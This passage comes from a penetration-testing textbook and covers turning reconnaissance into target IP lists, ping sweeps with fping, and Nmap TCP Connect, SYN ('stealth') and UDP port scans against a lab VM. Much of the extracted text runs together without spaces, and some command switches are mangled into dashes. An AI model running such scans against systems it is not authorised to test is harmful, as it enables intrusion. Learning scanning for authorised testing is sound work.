understanding of your target including the organization, structure, and even technologies deployedinsidethecompany.Whileconducting the reviewprocess, it isagood idea tocreatea single list thatcanbeusedasa

centralrepositoryforrecordingIPaddresses.Youshouldalsokeepseparateliststhatarededicatedtoe-mailaddresses,hostnames,andURLs.Unfortunately,mostof thedatayoucollectedwillnotbedirectlyattackable.During theprocessof

reviewing your findings, be sure to transform any relevant, non-IP-based information, into an IPaddress.UsingGoogleandthehostcommand,youshouldbeabletoextractadditionalIPsthatrelatetoyourtarget.AddthesetotheIPlist.After we have thoroughly reviewed the collected reconnaissance and transformed the data into

attackable targets,we should have a list of IPs that belong to, serve, or are related to the target.Asalways, it is important to rememberyourauthorized scopebecausenot all the IPswecollectwillbewithinthatrange.Asaresult,thefinalstepinreconnaissanceistoreviewtheIPlistyoujustcreatedandeithercontactthecompanytodetermineifyoucanincreasethescopeofthepentestorremovetheIPaddressfromyourlist.At thispoint, youwill be leftwith a list of IP addresses that youare authorized to attack.Donot

discardorunderestimateallthenonattackableinformationyouhavegathered.Ineachoftheremainingsteps,wewillbereviewingandextractinginformationfromStep1.

HowDoIPracticeThisStep?Now that you have a solid understanding of the basic tools and techniques used to conductreconnaissance,youwillneedtopracticeeverythingthatwascovered.Therearemanywaystogoaboutpracticing this step. One simple and effective idea is to make a list of companies by reading anewspaper. If you do not have access to a newspaper, any popular news website will do, likewww.cnn.com,www.msnbc.com,etc.Whilemakingalistofpotentialtargetstoconductreconnaissanceon,trytofocusoncompanynames

thatyouhavenotheardofbefore.Anygoodnewspaperorwebsiteshouldcontaindozensofcompaniesthat you are unfamiliar with. One note of caution here, YouMust Be Sure Not to Do Any ActiveReconnaissance!Obviously,youhavenotbeenauthorizedinanywaytoperformtheactivetechniqueswecovered in thischapter.However,youcanstillpracticegathering information through thepassivetechniqueswediscussed.Thiswillallowyoutorefineandsharpenyourskills.Itwillalsoprovideyouwithanopportunitytodevelopasystemforcataloging,organizing,andreviewingthedatayoucollect.Remember,whilethismaybethe“least”technicalphase,ithasthepotentialforthebestreturns.

WhereDoIGofromHere?Onceyouhavepracticed andmastered thebasicsof reconnaissance, youwill be armedwith enoughinformationandskilltotackleadvancedtopicsininformationgathering.Belowyouwillfindalistoftoolsandtechniquesthatwilltakeyourinformation-gatheringabilitytothenextlevel.Begintheprocessofexpandingyourskillsbylearningsearchenginedirectivesforsitesother than

Google.Aswementionedearlier,therearemanydifferentsearchenginesandmasteringthelanguageofeachisimportant.Mostmodernsearchenginesincludedirectivesorotherwaystocompleteadvancedsearches.Rememberyoushouldneverrelyonasinglesearchenginetodoallofyourreconnaissance.Searching for the same keywords in different search engines often returns drastically different and

Page 62: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

surprisinglyusefulresults.IfyouareaWindowsuser,FOCAandSearchDiggityareawesometoolsforextractingmetadataand

expandingyourtargetlist.BothFOCAandSearchDiggityareavailableforfree.FOCAcanbefoundathttp://www.informatica64.com/foca.aspx.Unlessyouareup-to-dateonyourSpanish,youwillneedtolocateandclickontheUnionJack(flagoftheUnitedKingdom)icon.DoingsowillloadtheEnglishversionofthepage.SearchDiggityisanothergreattoolthatleveragesOSINT,Googlehacking,anddataextraction.Thetoolincludesasuiteofproductsandleveragesanumberofresourcestoprovideresults.Investthetimerequiredtomastereachofthesetoolsandyouwillbeonyourwaytomasteringdigitalreconnaissance.Onceyouunderstand the basics, it is definitelyworth your time to review JohnnyLong’sGHDB.

ThisisasinglerepositoryforsomeofthemosteffectiveandfearedGoogleHacksinexistencetoday!Ithas already been mentioned and should go without saying but Do Not Run These Queries AgainstUnauthorizedTargets!YoucanfindtheGHDBathttp://www.hackersforcharity.org/ghdb.Whileyouarethere, takeaminute to readaboutHackers forCharityandJohnny’seffortswith the“foodforwork”program.Paterva’sMaltego is a very powerful tool that aggregates information from public databases and

provides shockinglyaccuratedetails aboutyour targetorganization.Thesedetails canbe technical innature,suchasthelocationorIPaddressofyourfirewall,ortheycanbepersonal,suchasthephysicallocationofyourcurrently(travelling)salesman.LearningtomasterMaltegotakesalittleeffortbutiswellworthyourtime.AfreeversionisavailableinKali.Finally, it isworthyour timetoexplore the“SwissArmyKnifeInternetTool”Robtex.Thissite is

often a one-stop shop for information gathering because it is so versatile and provides so muchinformation.

SummaryInformationgathering is the first step in anypenetration test or hack.Even though this phase is lesstechnical thanmost, its importance should not be overlooked.Themore information you are able tocollect,thebetteryourchancesofsuccessinlaterphasesofthepenetrationtest.Atfirst,theamountofinformation that can be gathered on your target can seem a bit overwhelming, but with a gooddocumentation process, the proper use of tools, and further practice youwill soonmaster the art ofreconnaissance.

Page 63: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

CHAPTER3

Scanning

InformationinThisChapter:Fping:PingsandPingSweepsNmap:PortScanningandServiceDetectionNSE:ExtendingNmapNessus:VulnerabilityScanning

IntroductionOnce step 1 has been completed, you should have a solid understandingof the target and a detailedcollectionofgathered information.Thesedatamainly includeourcollectionof Internetprotocol (IP)addresses.Recall thatoneofthefinalstepsinreconnaissancewastocreatealistofIPaddressesthatbothbelonged to the targetand thatwewereauthorized toattack.This list is thekey to transitioningfromstep1tostep2.Instep1,wemappedourgatheredinformationtoattackableIPaddresses.Instep2,wewillmapIPaddressestoopenportsandservices.

ADDITIONALINFORMATIONEachoftheexamplesinthischapterwillberunfromKaliagainsteithertheWindowsXPorMetasploitableVM.OnceyouhavedownloadedandextractedMetasploitable,youmayneedtochangethenetworkingsettingsintheVMwarePlayerconfigurationsettingfrom“bridged”to“NAT”.Onceyoumakethischange,reboottheMetasploitableVM.Atthispoint,youwillbepresentedwithaloginscreensimilartoKali.However,unlikeKali,youwill not be provided with a user name or password. Your goal is to compromise theMetasploitableVMandgainremoteaccesstothesystem.

Page 64: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Itisimportanttounderstandthatitisthejobofmostnetworkstoallowatleastsomecommunicationto flow into and out of their borders. Networks that exist in complete isolation with no Internetconnectionandnoserviceslikee-mailorwebtrafficareveryraretoday.Eachservice,connection,orroute to another network provides a potential foothold for an attacker. Scanning is the process ofidentifyinglivesystemsandtheservicesthatexistonthosesystems.Forthepurposeofourmethodology,wewillbreakstep2intofourdistinctphases:2.1.Determiningifasystemisalivewithpingpackets.2.2.PortscanningthesystemwithNmap.2.3.LeveragingtheNmapscriptingengine(NSE)tofurtherinterrogatethetarget.2.4.ScanningthesystemforvulnerabilitieswithNessus.

Laterinthischapter,wewilldiscusstoolsthatcombinethesephasesintoasingleprocess;however,forthepurposeofintroducingandlearningnewmaterial,itisbesttocoverthemseparately.Step 2.1 is the process of determining whether a target system is turned on and capable of

communicatingor interactingwithourmachine.This step is the least reliable andwe should alwayscontinuewith steps 2.2–2.4 regardless of the outcome of this test. Nomatter the findings, it is stillimportanttoconductthisstepandmakenoteofanymachinesthatrespondasalive.Tobefair,asyouprogress in your skills youwill probably combine steps 2.1 and 2.2 into a single scan directly fromNmap.Sincethisbookconcentratesonthebasics,wewillcoverstep2.1asastand-aloneprocess.Step2.2istheprocessofidentifyingthespecificportsandservicesrunningaparticularhost.Simplydefined,portsprovideawayorlocationforsoftware,services,andnetworkstocommunicate

with hardware like a computer. A port is a data connection that allows a computer to exchangeinformationwithothercomputers,software,ordevices.Priortotheinterconnectionofcomputersandnetworks, information was passed betweenmachines through the use of physical media like floppydrives. Once computers were connected to a network, they needed an efficient means forcommunicating with each other. Ports were the answer. The use of multiple ports allows forsimultaneouscommunicationwithouttheneedtowait.Tofurtherclarifythispointforthoseofyouwhoareunfamiliarwithportsandcomputers,itmaybe

helpfultoconsiderthefollowinganalogy:thinkofyourcomputerasahouse.Therearemanydifferentwaysthatapersoncanenterthehouse.Eachofthedifferentwaystoenteryourhouse(computer)islikeacomputerport.Justlikeaportonacomputer,alltheentrywaysallowtraffictoflowintoandoutofyourhome.Imagineahousewithuniquenumbersovereachofthepotentialentrypoints.Mostpeoplewilluse

thefrontdoor.However,theownersmaycomeinthroughthegaragedoor.Sometimes,peopleenterthehousefromabackdoororslidingglassdooroffthedeck.Anunconventionalpersonmayclimbthroughawindoworattempttosqueezethroughthedoggiedoor!Regardless of how you get into your house, each of these examples corresponds nicely with the

analogyofcomputersandports.Recallthatportsarelikegatewaystoyourcomputer.Someportsaremorecommonandreceivelotsoftraffic(justlikeyourfrontdoor);othersaremoreobscureandrarelyused(byhumans)likethedoggiedoor.Manycommonnetworkservicesrunonstandardportnumbersandcangiveattackersanindicationas

tothefunctionofthetargetsystem.Table3.1providesalistofcommonportsandtheircorrespondingservices.

Page 65: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Table3.1CommonPortNumbersandTheirCorrespondingService

PortNumber Service

20 FTPdatatransfer

21 FTPcontrol

22 SSH

23 Telnet

25 SMTP(e-mail)

53 DNS

80 HTTP

137–139 NetBIOS

443 HTTPS

445 SMB

1433 MSSQL

3306 MySQL

3389 RDP

5800 VNCoverHTTP

5900 VNC

Obviously,therearemanymoreportsandservices.However,thislistservesasabasicintroductiontocommonports that areutilizedbyorganizations today.Youwill see these services repeatedly asyoubegintoportscanyourtargets.Weneedtopayspecialattentiontothediscoveryofanyopenportsonourtargetsystems.Youshould

makedetailednotes and save theoutputof any tool run in step2.2.Remember everyopenport is apotentialgatewayintothetargetsystem.Step 2.3 leverages the NSE to further interrogate and verify our earlier findings. The NSE is a

tremendously powerful and simple tool, which extends the power and flexibility of Nmap. It giveshackers and penetration testers the ability to use precanned or custom scripts,which can be used toverify findings, discover new processes and vulnerabilities, and automate many penetration testingtechniques.Thefinalstepinourscanningmethodisstep2.4,vulnerabilityscanning.Vulnerabilityscanningisthe

processoflocatingandidentifyingknownweaknessesintheservicesandsoftwarerunningonatargetmachine.ThediscoveryofknownvulnerabilitiesonatargetsystemcanbeabitlikewinningthelotteryorhittingablackjackinVegas.Itisdefinitelyawinforthepenetrationtester.Manysystemstodaycanbeexploiteddirectlywithlittleornoskillwhenamachineisdiscoveredtohaveaknownvulnerability.It is important tomention that there isadifference in the severityofvariousvulnerabilities.Some

vulnerabilities may present little opportunities for an attacker, whereas others will allow you tocompletelytakeoverandcontrolamachinewithasingleclickofabutton.Wewilldiscussthevariouslevelsofvulnerabilitiesinmoredetaillaterinthischapter.Inthepast,Ihavehadseveralclientsaskingmetoattempttogainaccesstosomesensitiveserveron

aninternalnetwork.Obviouslyinthesecases,thefinaltargetisnotdirectlyaccessibleviatheInternet.Whetherwearegoingaftersomesupersecretinternalmachineorsimplyattemptingtogainaccesstoanetwork,weusuallybeginbyscanningtheperimeterdevices.Thereasonforthisissimple,westartattheperimeterbecausemostoftheinformationwehavefromstep1belongstoperimeterdevices.Also,

Page 66: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

withmanyof today’s technologiesandarchitectures, it isnotalwayspossible to reachdirectly intoanetwork.As a result,weoften employ a hackingmethodologywherewe chain a series ofmachinestogetherinordertoreachourfinaltarget.First,weconqueraperimeterdevice,andthenwemovetoaninternalmachine.

ADDITIONALINFORMATIONTheprocessofcompromisingonemachineandthenusingthatmachineasasteppingstonetoattackanothermachineiscalled“pivoting”.Pivotingismostoftenusedwhenthetargetmachine is attached to a network but not directly reachable from our current location.Hackers and penetration testers may have to pivot several times before having directaccesstotheoriginaltarget.

Perimeterdevicesarecomputers,servers,routers,firewalls,orotherequipment,whichsitattheouteredge of a protected network. These devices serve as an intermediary between protected internalresourcesandexternalnetworksliketheInternet.Aspreviouslymentioned,weoftenbeginbyscanningtheperimeterdevicestolookforweaknesses

orvulnerabilities thatwillallowus togainentry into thenetwork.Oncewehavesuccessfullygainedaccess (which we will discuss in Chapter 4), the scanning process can be repeated from the newlyownedmachine, in order to find additional targets. This cyclical process allows us to create a verydetailed internal network map and discover the critical infrastructure hiding behind the corporatefirewall.

PingsandPingSweepsApingisaspecialtypeofnetworkpacketcalledanInternetControlMessageProtocol(ICMP)packet.Pingsworkbysendingaparticular typeofnetwork traffic,calledan ICMPechorequestpacket, to aspecificinterfaceonacomputerornetworkdevice.Ifthedevice(andtheattachednetworkcard)thatreceived thepingpacket is turnedon andnot restricted from responding, the receivingmachinewillrespondbacktotheoriginatingmachinewithanechoreplypacket.Asidefromtellingusthatahostisaliveandacceptingtraffic,pingsprovideothervaluableinformationincludingthetotaltimeittookforthepackettotraveltothetargetandreturn.Pingsalsoreporttrafficlossthatcanbeusedtogaugethereliabilityofanetworkconnection.TorunpingfromyourLinuxmachine,openaterminalandissuethecommand:

pingtarget_ip

You will need to replace the “target_ip” portion of the command with the actual IP address orhostnameofthemachineyouaretryingtoping.ThefirstlineinFigure3.1showsthepingcommandbeingissued.AllmodernversionsofLinuxand

Windowsincludethepingcommand.ThemajordifferencebetweentheLinuxandWindowsversionisthat by default, theWindows ping commandwill send four echo request packets and automaticallyterminate,whereas theLinuxpingcommandwill continue to sendecho request commandsuntilyouforceittostop.OnaLinuxsystem,youcanforceapingcommandtostopsendingpacketsbyusingthe

Page 67: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Ctrl+Ccombination.

FIGURE3.1 Anexampleofthepingcommand.

Letusfocusourattentiononthethirdlinethatstartswith“64bytesfrom”.Thislineistellingusthatour ICMPechorequestpacketsuccessfully reached the targethostand that thehostsuccessfullysentareplypacketbacktoourmachine.The“64bytes”indicatesthesizeoftheresponsepacket.The“from ord08s05-in-f6.1e100.net (74.125.225.6):” specifies which hostname (and IP address)respondedtoourgoogle.comping.The“icmp_seq=”designatesthepacketorder.The“ttl=128”isthe time to live value; this is used to determine themaximum number of hops the packetwill takebeforeautomaticallyexpiring.“Time=29.2ms” is tellingyouhowlongtheentire trip tookfor thepacketstotraveltoandfromthetarget.Afterstoppingthepingcommand,youwillbeprovidedwithanoutputofstatisticsincludingthenumberofpacketstransmitted,packetloss,andaseriesoftime-basedstats.Ifthetargethostisdown(offline)orblockingICMPpackets,youwillsee100%packetlossora“Destination Host Unreachable” message depending on which operating system you are using.Sometimes,insporadicnetworkconnections,youmayseemultiplerequesttimeoutandafewwitharesponse.This is typicallybecauseofapoorconnectiontoanenvironmentor thereceivingsystemisexperiencenetworkissues.Now that you have a basic understanding of how the ping command works, let us see how we

leverage this tool as a hacker.Becauseweknow that pings canbeuseful in determining if a host isalive, we can use the ping tool as a host discovery service. Unfortunately, manually pinging everypotentialmachineon even a small networkwould be highly inefficient. Fortunately for us, there areseveral tools that allow us to conduct ping sweeps. A ping sweep is a series of pings that areautomaticallysenttoarangeofIPaddresses,ratherthanindividuallyenteringeachtarget’saddress.ThesimplestwaytorunapingsweepiswithatoolcalledFPing.FPingisbuiltintoKaliandisrun

fromtheterminal.ThetoolcanalsobedownloadedforWindows.TheeasiestwaytorunFPingistoopenterminalwindowandtypethefollowingcommand:

fping–a–g172.16.45.1172.16.45.254>hosts.txt

The“–a”switchisusedtoshowonlythelivehostsinouroutput.Thismakesourfinalreportmuchcleanerandeasiertoread.The“–g”isusedtospecifytherangeofIPaddresseswewanttosweep.YouneedtoenterboththebeginningandtheendingIPaddresses.Inthisexample,wescannedalltheIPsfrom 172.16.45.1 to 172.16.45.254. The “>” character is used to pipe the output to a file, and the“hosts.txt”isusedtospecifythenameofthefileourresultswillbesavedto.Toviewthehosts.txtfile,youcaneitheropenitwithatexteditororusethe“cat”command,whichisbuilt intotheLinuxterminal.Thecatcommandwilldisplaythecontentsofafileinthecurrentterminalwindow.Toviewthecontentsofthehosts.txt,enterthefollowingcommandintoyourterminal:

Page 68: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

cathosts.txt

TherearemanyotherswitchesthatcanbeusedtochangethefunctionalityoftheFPingcommand.Youcanviewthemallbyutilizingthemanpageasshownbelow:

manfping

Onceyouhaverunthecommandabove,youcanopenthehosts.txtfilethatwascreatedtofindalistoftargetmachinesthatrespondedtoourpings.TheseIPaddressesshouldbeaddedtoyourtargetlistfor later investigation. It is important to remember that not everyhostwill respond toping requests;somehostsmaybefirewalledorotherwiseblockingpingpackets.

PortScanningNowthatyouhavealistoftargets,wecancontinueourexaminationbyscanningtheportsforeachoftheIPaddresseswefound.Recallthatthegoalofportscanningistoidentifywhichportsareopenanddeterminewhatservicesareavailableonourtargetsystem.Aserviceisaspecificjobortaskthatthecomputer performs like e-mail, file transfer protocol (FTP), printing, or providing web pages. Portscanningislikeknockingonthevariousdoorsandwindowsofahouseandseeingwhoanswers.Forexample ifwe find that port 80 is open,we can attempt a connection to the port andoftentimesgetspecificinformationaboutthewebserverthatislisteningonthatport.There are a total of 65,536 (0–65,535) ports on every computer. Ports can be either transmission

controlprotocol(TCP)oruserdatagramprotocol(UDP)dependingontheserviceutilizingtheportornatureofthecommunicationoccurringontheport.Wescancomputerstoseewhatportsareinuseoropen.Thisgivesusabetterpictureofthepurposeofthemachine,which,inturn,givesusabetterideaabouthowtoattackthebox.Ifyouhadtochooseonlyonetooltoconductportscanning,youwouldundoubtedlychooseNmap.

NmapwaswrittenbyGordon“Fyodor”Lyonandisavailableforfreefromwww.insecure.org.Itisbuiltintomanyof today’sLinuxdistributions includingKali.Although it is possible to runNmap fromagraphicaluserinterface(GUI),wearegoingtofocusonusingtheterminaltorunourportscans.Peoplewhoarenewtosecurityandhackingoftenaskwhytheyshouldlearntousethecommandline

orterminalversionofatoolratherthanrelyingonaGUI.Thesamepeopleoftencomplainthatusingtheterminalisnotaseasy.Theresponseisverysimple.First,usingthecommandlineversionofatoolwillallowyoutolearntheswitchesandoptionsthatchangethebehaviorofyourtool.Thisgivesyoumoreflexibility,moregranularcontrol,andabetterunderstandingofthetoolyouarerunning.Itisalsoimportanttounderstandthathackingrarelyworkslikeitisportrayedinthemovies(moreonthispointlater!). Finally, the command line canbe easily scripted allowingus to extend and expand the tool’soriginalfunctionality.Scriptingandautomationbecomekeywhenyouwanttoadvanceyourskillsettothenextlevel.RememberthemovieSwordfishwhereHughJackmaniscreatingavirus?Heisdancinganddrinking

wine,andapparentlybuildingavirusinaverygraphical,GUI-drivenway.Thepointisthatthisisjustnotrealistic.MostpeoplewhoarenewtohackingassumethathackingisaveryGUI-orientedtask:thatonceyoutakeoveramachineyouarepresentedwithadesktopandcontrolofthemouseandscreen.Althoughthisscenarioispossible,itisrarelythecase.Inmostjobs,yourmaingoalwillbetogetanadministrativeshellorbackdooraccesstothemachine.ThisshellisliterallyaterminalthatallowsyoutocontrolthetargetPCfromthecommandline.Itlooksandfeelsjustliketheterminalsthatwehavebeenworkingwith,exceptaremoteshellallowsyoutoenterthecommandsonyourcomputerterminalandhavethemexecutedonthetargetmachine.Solearningthecommandlineversionofyourtoolsis

Page 69: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

criticalbecauseonceyouhavecontrolofamachine,youwillneed touploadyour toolsand interactwiththetargetthroughacommandprompt,notthroughaGUI.Letus assumeyou still refuse to learn the command line.Let us also assume thatwith theuseof

severaltoolsyouwereabletogainaccesstoatargetsystem.Whenyougainaccesstothatsystem,youwillnotbepresentedwithaGUIbutratherwithacommandprompt.Ifyoudonotknowhowtocopyfiles,addusers,modifydocuments,andmakeotherchangesthroughthecommandline,yourworkofowning the target will have been in vain. You will be stuck, like Moses who was able to see thePromisedLandbutnotallowedtoenter!

ADDITIONALINFORMATIONOne lastpointon the importanceof learning tocontrol tools through thecommand line;earlierwe introduced the concept of pivoting, rarelydoGUI tools andpivotingmix. Inmost cases, once you compromise a computer and need to pivot off of it, you will beworkingfromaremoteterminal.Inthesecases,understandinghowtoutilizethecommandlineversionofeachtooliscritical.

Whenweconductaportscan,our toolwill literallycreateapacketandsend it toeachdesignatedport on themachine. The goal is to determinewhat kind of a responsewe get from the target port.Differenttypesofportscanscanproducedifferentresults.Itisimportanttounderstandthetypeofscanyouarerunningaswellastheexpectedoutputofthatscan.

TheThree-WayHandshakeWhentwomachinesonanygivennetworkwanttocommunicateusingTCP,theydosobycompletingthethree-wayhandshake.Thisprocessisverysimilartoaphoneconversation(atleastbeforeeveryonehadcaller ID!).Whenyouwant to talk to someone,youpickup thephoneanddial thenumber, thereceiverpicksuptheringingphonenotknowingwhothecallerisandsays“Hello?”,theoriginalcallerthen introduces himself by saying “Hi, this isDaveKennedy!” In response to this, the receiverwilloften acknowledge the caller by saying “Oh, hi Dave!” At this point both people have enoughinformationfortheconversationtocontinueasnormal.Computersworkmuchthesameway.Whentwocomputerswanttotalk, theygothroughasimilar

process.ThefirstcomputerconnectstothesecondcomputerbysendinganSYNpackettoaspecifiedport number. If the second computer is listening, itwill respondwith an SYN/ACK.When the firstcomputerreceivestheSYN/ACK,itreplieswithanACKpacket.Atthispoint, thetwomachinescancommunicatenormally.Inourphoneexampleabove,theoriginaldialerislikesendingtheSYNpacket.Thereceiverpickingup thephoneandsaying“Hello?” is like theSYN/ACKpacketand theoriginalcallerintroducinghimselfisliketheACKpacket.

UsingNmaptoPerformaTCPConnectScanThefirstscanwewill lookat iscalledtheTCPConnectscan.Thisscanisoftenconsideredthemost

Page 70: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

basicandstableofalltheportscansbecauseNmapattemptstocompletethethree-wayhandshakeoneach port specified in the Nmap command. Because this scan actually completes the three-wayhandshakeandthentearsdowntheconnectiongracefully,thereislittlechancethatyouwillfloodthetargetsystemandcauseittocrash.Ifyoudonotspecifyaspecificportrange,Nmapwillscanthe1000mostcommonports.Unlessyou

areinagreathurry,it isalwaysrecommendedtoscanallports,notjustthe1000mostcommon.Thereason is that oftentimes crafty administrators will attempt to obscure a service by running it on anonstandardport.Youcanscanalltheportsbyspecifying“-p-”whenrunningNmap.Usingthe“-Pn”switchwith everyNmap scan is also recommended.Utilizing the “-Pn” switchwill causeNmap todisable host discovery and force the tool to scan every system as if itwere alive. This is extremelyusefulfordiscoveringadditionalsystemsandportsthatotherwisemaybemissed.TorunaTCPconnect,weissuethefollowingcommandfromaterminal:nmap–sT-p--Pn192.168.18.132

Take amoment to review this command.The firstword “nmap” causes theNmap port scanner tostart.The secondcommand“–sT” tellsNmap to run aTCPConnect scan.Specifically, to break thisswitchdownevenfurther,the“–s”isusedtotellNmapwhatkindofscanwewanttorun.The“–T”inthe“–sT”isusedtorunascantypeofTCPConnect.Weusethe“-p-”totellNmaptoscanalltheportsnot just thedefault 1000.Weuse the “-Pn” switch to skip thehostdiscoveryphase and scanall theaddressesasifthesystemwerealiveandrespondingtopingrequests.Finally,wespecifythetargetIPaddress; obviously, your target’s IP address will be different from the one shown in the screenshot!Figure3.2showstheTCPConnectNmapscanandtheoutputthatwasreceivedwhenrunagainsttheMetasploitabletarget.

FIGURE3.2 TCPconnectscansandresults.

Oftentimes,weneedtorunourscansagainstanentiresubnet,orrangeofIPaddresses.Whenthisisthecase,wecaninstructNmaptoscanacontinuousrangeofIPsbysimplyappendingthelastoctet(oroctets)oftheendingIPaddressontothescanlikeso:

nmap–sT-p--Pn192.168.18.1-254

Issuing this command will cause Nmap to port scan all the hosts between the IP addresses192.168.18.1 and 192.168.18.254. Just like ping sweeps, this is a very powerful technique that can

Page 71: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

greatlyimprovetheproductivityofyourscanninglife!Ifyouneedtoscanaseriesofhoststhatarenotinsequentialorder,youcancreateatextfileandlist

each host IP address on a single line. Then add the “–iLpath_to_the_text_file” switch to yourNmapcommand.Doingthisallowsyoutoscanallyourtargethostsfromasinglecommand.Wheneverpossible, always try to create a single text file containing all your target IPs.Most of the tools wediscusshaveaswitchormechanismforloadingthistextfile.Havingalistsavestheeffortorretyping,but more importantly, reduces the number of times you will type each IP address and thereforediminishesthechancethatyouwillfat-fingertheIPaddressandscanthewrongtarget.

UsingNmaptoPerformanSYNScanTheSYNScanisarguablythemostpopularNmapportscan.Therearemanyreasonsforitspopularity,includingthefactthatithappenstobethedefaultNmapscan.IfyouruntheNmapcommandwithoutspecifyingascantype(usingthe–sswitch),NmapwillusetheSYNscanbydefault.AsidefromthefactthattheSYNscanisthedefaultchoice,itisalsopopularbecauseitisfasterthan

theTCPconnectscanandyetremainsquitesafe,withlittlechanceof(DenialofService)DoS’ingorcrashing the target system.SYNscansare fasterbecause rather thancompleting theentire three-wayhandshake,itonlycompletesthefirsttwostepsoftheprocess.InanSYNscan,thescanningmachinesendsanSYNpackettothetargetandthetargetrespondswith

anSYN/ACK(assumingtheportisinuseandnotfiltered)justlikeitdidwhenweranaTCPConnectscan. However, at this point, rather than sending the traditional ACK packet, the scanningmachinesends anRST (reset) packet to the target. The reset packet tells the targetmachine to disregard anypreviouspacketsandclosetheconnectionbetweenthetwomachines.ItshouldbeclearthatthespeedadvantageoftheSYNscanovertheTCPConnectscancomesfromthefactthattherearefewerpacketssent between the hosts when using an SYN scan rather than a TCP Connect scan. Although a fewpacketsmaynotsoundlikeabigadvantage,itcanaddupquicklywhenscanningmultiplehosts.Ifweconsidertheexampleofcomparingthethree-wayhandshaketoaphonecall,SYNscanswould

belikecallingsomeoneup,havingthereceiverpickupthephoneandsaying“Hello?”,andthensimplyhanginguponthepersonwithoutasingleword.Another advantage to the SYN scan is that in some instances, it provides a level of obscurity or

stealth.Because of this feature, the SYN scan is often referred to as the “Stealth Scan”.The stealthportionofthisscancomesfromthefactthatbecausethethree-wayhandshakeisneverfullycompleted,theofficialconnectionwasnever100%established.Thereareapplicationsandlogfilesthatrequirethecompletionof the three-wayhandshakebefore theybegin recordingactivity.Asa result, if a log fileonlyrecordscompletedconnectionsandtheSYNscanneverofficiallycompletesasingleconnection,thisscanmaybeundetectedbysomeapplications.Pleasenotethatthisistheexceptionandnottherule.AllmodernfirewallsandintrusiondetectionsystemsinusetodaywilldetectandreportanSYNscan!BecausetheSYNscanisthedefaultNmapscan,wedonottechnicallyneedtospecifythescantype

withthe“–s”switch.However,becausethisbookfocusesonthebasics,itisworththeefforttogetintothehabitofspecifyingyourscantype.TorunanSYNscan,youcanopenaterminalwindowandissuethefollowingcommand:nmap–sS-p--Pn192.168.18.132

Thiscommandisexactlythesameasthepreviousexamplewithoneexception—ratherthanusingan“–sT”,weusedan“–sS”.ThisinstructsNmaptorunanSYNscanratherthanaTCPConnectscan.ThescantypesareeasytorememberbecauseaTCPConnectscanbeginswiththeletter“T”,whereasthe

Page 72: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

SYNscanbeginswith the letter “S”.Eachof theother switcheswasexplained in the sectionabove.Please review the “UsingNmap toComplete aTCPConnect Scan” for a detailed breakdownof theswitchesinthiscommand.Figure3.3showstheoutputofanSYNscanagainstourtarget.

FIGURE3.3 SYNscanandresults.

TakeamomenttocomparethetotalruntimebetweenthetwoscansinFigures3.2and3.3.Eveninoursimpleenvironmentagainstasinglehost,theSYNscancompleteditsexecutionfaster.

UsingNmaptoPerformUDPScansOneofthemostcommonportscanningmistakesofnewpenetrationtestersisthattheyoverlookUDP.TheseaspiringhackersoftentimesfireupNmap,runasinglescan(typicallyanSYNscan),andmoveontovulnerabilityscanning.DonotneglecttoscanUDPports!FailingtoscanyourtargetforopenUDPportsislikereadingtheCliffNotesversionofabook.Youwillprobablyhaveasolidunderstandingofthestory,butyouarelikelytomissmanyofthedetails.ItisimportanttounderstandthatbothTCPConnectscansandSYNscansuseTCPasthebasisfor

their communication. Computers can communicate with one another using either TCP or UDP;however,thereareseveralkeydifferencesbetweenthetwoprotocols.TCP is considered a “connection-oriented protocol” because it requires that the communication

betweenboththesenderandthereceiverstaysinsync.Thisprocessensuresthatthepacketssentfromonecomputertoanotherarriveatthereceiverintactandintheordertheyweresent.Ontheotherhand,UDP is said to be “connectionless” because the sender simply sends packets to the receiverwith nomechanism for ensuring that the packets arrive at the destination. There are many advantages anddisadvantagestoeachoftheprotocolsincludingspeed,reliability,anderrorchecking.Totrulymasterportscanning,youwillneedtohaveasolidunderstandingoftheseprotocols.Takesometimeandlearnabouteachofthem.Recall that earlier the three-way handshake processwas described by comparing the process to a

phonecall.Thethree-wayhandshakeisakeycomponentofTCPcommunicationthatallowsthesenderand the receiver to stay in sync.BecauseUDP isconnectionless, this typeofcommunication ismost

Page 73: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

